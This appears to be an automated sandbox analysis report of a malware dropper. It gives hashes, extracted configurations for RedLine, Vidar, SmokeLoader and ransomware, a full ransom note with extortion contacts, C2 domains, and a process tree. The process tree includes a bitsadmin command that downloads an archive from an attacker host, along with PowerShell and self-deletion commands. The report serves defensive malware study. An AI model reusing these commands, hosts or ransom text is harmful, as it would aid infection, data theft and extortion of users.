Resubmissions

08-07-2021 11:17

210708-5s29gx8mxn 10

08-07-2021 11:17

210708-lndt9d354a 10

Analysis

  • max time kernel
    1801s
  • max time network
    1807s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    08-07-2021 11:17

General

  • Target

    0x00030000000130df-151.exe

  • Size

    773KB

  • MD5

    a0b06be5d5272aa4fcf2261ed257ee06

  • SHA1

    596c955b854f51f462c26b5eb94e1b6161aad83c

  • SHA256

    475d0beeadca13ecdfd905c840297e53ad87731dc911b324293ee95b3d8b700b

  • SHA512

    1eb6b9df145b131d03224e9bb7ed3c6cc87044506d848be14d3e4c70438e575dbbd2a0964b176281b1307469872bd6404873974475cd91eb6f7534d16ceff702

Malware Config

Extracted

Path

C:\_readme.txt

Ransom Note
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-mNr1oio2P6 Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: manager@mailtemp.ch Reserve e-mail address to contact us: helpmanager@airmail.cc Your personal ID: 0315ewgfDdSgcyhrmIFKlwG8I3XxekHbYahiFXX0aowKJPQVTk
Emails

manager@mailtemp.ch

helpmanager@airmail.cc

URLs

https://we.tl/t-mNr1oio2P6

Extracted

Family

redline

Botnet

SEL7

C2

kathonaror.xyz:80

Extracted

Family

redline

Botnet

07_07_r

C2

xtarweanda.xyz:80

Extracted

Family

redline

Botnet

706

C2

edraquakwa.xyz:80

Extracted

Family

vidar

Version

39.4

Botnet

865

C2

https://sergeevih43.tumblr.com

Attributes
  • profile_id

    865

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 8 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 2 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 5 IoCs
  • Executes dropped EXE 64 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Sets service image path in registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 6 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 5 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 16 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 8 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 19 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 4 IoCs
  • NSIS installer 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 15 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 21 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 4 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 10 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 43 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 20 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
    1⤵
      PID:2420
    • C:\Users\Admin\AppData\Local\Temp\0x00030000000130df-151.exe
      "C:\Users\Admin\AppData\Local\Temp\0x00030000000130df-151.exe"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4068
      • C:\Users\Admin\Documents\7EroAka5Y_aJSF76JspgN0tg.exe
        "C:\Users\Admin\Documents\7EroAka5Y_aJSF76JspgN0tg.exe"
        2⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks whether UAC is enabled
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious use of AdjustPrivilegeToken
        PID:3172
      • C:\Users\Admin\Documents\h4dj4d5v_YLH_3irD71aDu5E.exe
        "C:\Users\Admin\Documents\h4dj4d5v_YLH_3irD71aDu5E.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:2384
      • C:\Users\Admin\Documents\nJJlipry0ljgbKL72xOb8UcA.exe
        "C:\Users\Admin\Documents\nJJlipry0ljgbKL72xOb8UcA.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Users\Admin\Documents\nJJlipry0ljgbKL72xOb8UcA.exe
          C:\Users\Admin\Documents\nJJlipry0ljgbKL72xOb8UcA.exe
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4464
        • C:\Users\Admin\Documents\nJJlipry0ljgbKL72xOb8UcA.exe
          C:\Users\Admin\Documents\nJJlipry0ljgbKL72xOb8UcA.exe
          3⤵
            PID:4348
        • C:\Users\Admin\Documents\bE83vti33X53i5b8zeVaaCKD.exe
          "C:\Users\Admin\Documents\bE83vti33X53i5b8zeVaaCKD.exe"
          2⤵
          • Executes dropped EXE
          • Checks BIOS information in registry
          • Checks whether UAC is enabled
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of AdjustPrivilegeToken
          PID:3136
        • C:\Users\Admin\Documents\VEL8qLiOCYaPybeDGwdRw1O0.exe
          "C:\Users\Admin\Documents\VEL8qLiOCYaPybeDGwdRw1O0.exe"
          2⤵
          • Executes dropped EXE
          PID:3728
          • C:\Program Files\Mozilla Firefox\firefox.exe
            "C:\Program Files\Mozilla Firefox\firefox.exe"
            3⤵
              PID:2476
              • C:\Program Files\Mozilla Firefox\firefox.exe
                "C:\Program Files\Mozilla Firefox\firefox.exe"
                4⤵
                • Checks processor information in registry
                • Modifies registry class
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                • Suspicious use of SetWindowsHookEx
                PID:3192
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3192.0.1321015588\919600373" -parentBuildID 20200403170909 -prefsHandle 1392 -prefMapHandle 1368 -prefsLen 1 -prefMapSize 219680 -appdir "C:\Program Files\Mozilla Firefox\browser" - 3192 "\\.\pipe\gecko-crash-server-pipe.3192" 1472 gpu
                  5⤵
                    PID:4288
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3192.3.529374959\1482805405" -childID 1 -isForBrowser -prefsHandle 5432 -prefMapHandle 5424 -prefsLen 156 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 3192 "\\.\pipe\gecko-crash-server-pipe.3192" 5444 tab
                    5⤵
                      PID:6392
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3192.13.1216686500\1785510798" -childID 2 -isForBrowser -prefsHandle 3716 -prefMapHandle 3740 -prefsLen 7014 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 3192 "\\.\pipe\gecko-crash-server-pipe.3192" 1124 tab
                      5⤵
                        PID:6792
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3192.20.691323219\676526710" -childID 3 -isForBrowser -prefsHandle 4768 -prefMapHandle 3524 -prefsLen 8018 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 3192 "\\.\pipe\gecko-crash-server-pipe.3192" 3176 tab
                        5⤵
                          PID:5412
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe"
                      3⤵
                      • Enumerates system info in registry
                      • Suspicious use of FindShellTrayWindow
                      PID:5032
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffdc5a54f50,0x7ffdc5a54f60,0x7ffdc5a54f70
                        4⤵
                          PID:2944
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1532 /prefetch:2
                          4⤵
                            PID:7072
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2088 /prefetch:8
                            4⤵
                              PID:4384
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2072 /prefetch:8
                              4⤵
                                PID:6668
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2592 /prefetch:1
                                4⤵
                                  PID:5996
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2568 /prefetch:1
                                  4⤵
                                    PID:5280
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1
                                    4⤵
                                      PID:7120
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:1
                                      4⤵
                                        PID:2616
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3740 /prefetch:1
                                        4⤵
                                          PID:6500
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3972 /prefetch:1
                                          4⤵
                                            PID:6484
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4844 /prefetch:8
                                            4⤵
                                              PID:1224
                                            • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                              "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                              4⤵
                                                PID:6912
                                                • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                  "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6e2a3a890,0x7ff6e2a3a8a0,0x7ff6e2a3a8b0
                                                  5⤵
                                                    PID:7152
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4196 /prefetch:8
                                                  4⤵
                                                    PID:6328
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 /prefetch:8
                                                    4⤵
                                                      PID:5304
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=772 /prefetch:8
                                                      4⤵
                                                        PID:1824
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4800 /prefetch:8
                                                        4⤵
                                                          PID:7144
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=3780 /prefetch:2
                                                          4⤵
                                                            PID:4432
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1520,14692882766076506681,16993619332463413013,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1508 /prefetch:8
                                                            4⤵
                                                              PID:5440
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "cmd.exe" /C taskkill /F /PID 3728 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\VEL8qLiOCYaPybeDGwdRw1O0.exe"
                                                            3⤵
                                                              PID:4428
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /F /PID 3728
                                                                4⤵
                                                                • Kills process with taskkill
                                                                PID:6036
                                                            • C:\Windows\SysWOW64\cmd.exe
                                                              "cmd.exe" /C taskkill /F /PID 3728 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\VEL8qLiOCYaPybeDGwdRw1O0.exe"
                                                              3⤵
                                                                PID:860
                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                  taskkill /F /PID 3728
                                                                  4⤵
                                                                  • Kills process with taskkill
                                                                  PID:5956
                                                            • C:\Users\Admin\Documents\0nf4KaYearEoXonO97wmWBV2.exe
                                                              "C:\Users\Admin\Documents\0nf4KaYearEoXonO97wmWBV2.exe"
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:540
                                                              • C:\Users\Admin\Documents\0nf4KaYearEoXonO97wmWBV2.exe
                                                                C:\Users\Admin\Documents\0nf4KaYearEoXonO97wmWBV2.exe
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4876
                                                            • C:\Users\Admin\Documents\STnVEA7xYspXkHvRsCPl6YVc.exe
                                                              "C:\Users\Admin\Documents\STnVEA7xYspXkHvRsCPl6YVc.exe"
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Suspicious use of SetThreadContext
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:3888
                                                              • C:\Users\Admin\Documents\STnVEA7xYspXkHvRsCPl6YVc.exe
                                                                C:\Users\Admin\Documents\STnVEA7xYspXkHvRsCPl6YVc.exe
                                                                3⤵
                                                                • Executes dropped EXE
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4368
                                                            • C:\Users\Admin\Documents\W2E7YoiTQfDsxPOKTmpdO_dK.exe
                                                              "C:\Users\Admin\Documents\W2E7YoiTQfDsxPOKTmpdO_dK.exe"
                                                              2⤵
                                                              • Executes dropped EXE
                                                              • Loads dropped DLL
                                                              • Drops file in Program Files directory
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:3264
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                3⤵
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4968
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                3⤵
                                                                  PID:5364
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Loads dropped DLL
                                                                  • Checks SCSI registry key(s)
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  • Suspicious behavior: MapViewOfSection
                                                                  PID:3800
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                  3⤵
                                                                    PID:6960
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                    3⤵
                                                                      PID:5880
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                      3⤵
                                                                        PID:5172
                                                                        • C:\Windows\System32\Conhost.exe
                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                          4⤵
                                                                            PID:4340
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                          3⤵
                                                                            PID:6220
                                                                          • C:\Windows\SysWOW64\bitsadmin.exe
                                                                            "bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z
                                                                            3⤵
                                                                            • Loads dropped DLL
                                                                            • Download via BitsAdmin
                                                                            • Modifies registry class
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:4932
                                                                          • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                            "C:\Program Files (x86)\lighteningplayer\data_load.exe" -phs4opgQYQzGH8jz -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                            3⤵
                                                                              PID:6888
                                                                            • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                              "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pD83mn5aM5tet4nm -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                              3⤵
                                                                                PID:6648
                                                                                • C:\Windows\System32\Conhost.exe
                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                  4⤵
                                                                                    PID:7120
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                                  3⤵
                                                                                    PID:6180
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                                    3⤵
                                                                                      PID:7024
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                                      3⤵
                                                                                        PID:6480
                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          4⤵
                                                                                            PID:6328
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                                          3⤵
                                                                                          • Blocklisted process makes network request
                                                                                          PID:4876
                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                                          3⤵
                                                                                            PID:5248
                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nslBC81.tmp\tempfile.ps1"
                                                                                            3⤵
                                                                                              PID:4888
                                                                                            • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                              "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                              3⤵
                                                                                                PID:1564
                                                                                            • C:\Users\Admin\Documents\qbv1czVhlENX1RocipY6WTb3.exe
                                                                                              "C:\Users\Admin\Documents\qbv1czVhlENX1RocipY6WTb3.exe"
                                                                                              2⤵
                                                                                              • Executes dropped EXE
                                                                                              • Modifies system certificate store
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:3780
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                cmd.exe /c taskkill /f /im chrome.exe
                                                                                                3⤵
                                                                                                  PID:4100
                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                    taskkill /f /im chrome.exe
                                                                                                    4⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1156
                                                                                              • C:\Users\Admin\Documents\NbZ4qIx9aMUbkUhrY_J10EK8.exe
